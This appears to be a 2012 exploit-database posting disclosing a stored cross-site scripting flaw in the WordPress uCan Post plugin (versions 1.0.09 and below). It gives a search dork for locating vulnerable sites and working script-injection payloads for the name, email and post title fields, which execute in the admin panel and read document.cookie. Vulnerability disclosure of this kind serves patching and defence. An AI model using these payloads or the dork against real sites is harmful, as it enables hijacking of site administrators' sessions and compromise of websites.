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WordPress uCan Post 1.0.09 Cross Site Scripting

WordPress uCan Post 1.0.09 Cross Site Scripting
Posted Jan 19, 2012
Authored by Gianluca Brindisi

WordPress uCan Post plugin versions 1.0.09 and below suffer from a stored cross site scripting vulnerability.

tags | exploit, xss
MD5 | c3a7d18f3408a218f51307c8b1b93a4c

WordPress uCan Post 1.0.09 Cross Site Scripting

Change Mirror Download
# Exploit Title: Wordpress uCan Post plugin <= 1.0.09 Stored XSS
# Dork: inurl:/wp-content/plugins/ucan-post/
# Date: 2012/01/18
# Author: Gianluca Brindisi (gATbrindi.si @gbrindisi http://brindi.si/g/)
# Software Link: http://downloads.wordpress.org/plugin/ucan-post.1.0.09.zip
# Version: 1.0.09

1) You need permissions to publish a post from the public interface:

The submission form is not well sanitized and will result in stored xss
in admin pages:

* Name field is not sanitized and it's injectable with a payload
which will be stored in the pending submission page in admin panel
POC: myname'"><script>window.alert(document.cookie)</script>

* Email field is not sanitized but can it will check for a valid email address
so the maximum result will be a reflected xss
POC: my@mail.com'"><script>window.alert(document.cookie)</script>

* Post Title is not sanitized and it's injectable with a payload
which will be stored in the pending submissions page in admin panel
POC: title'"><script>window.alert(document.cookie)</script>

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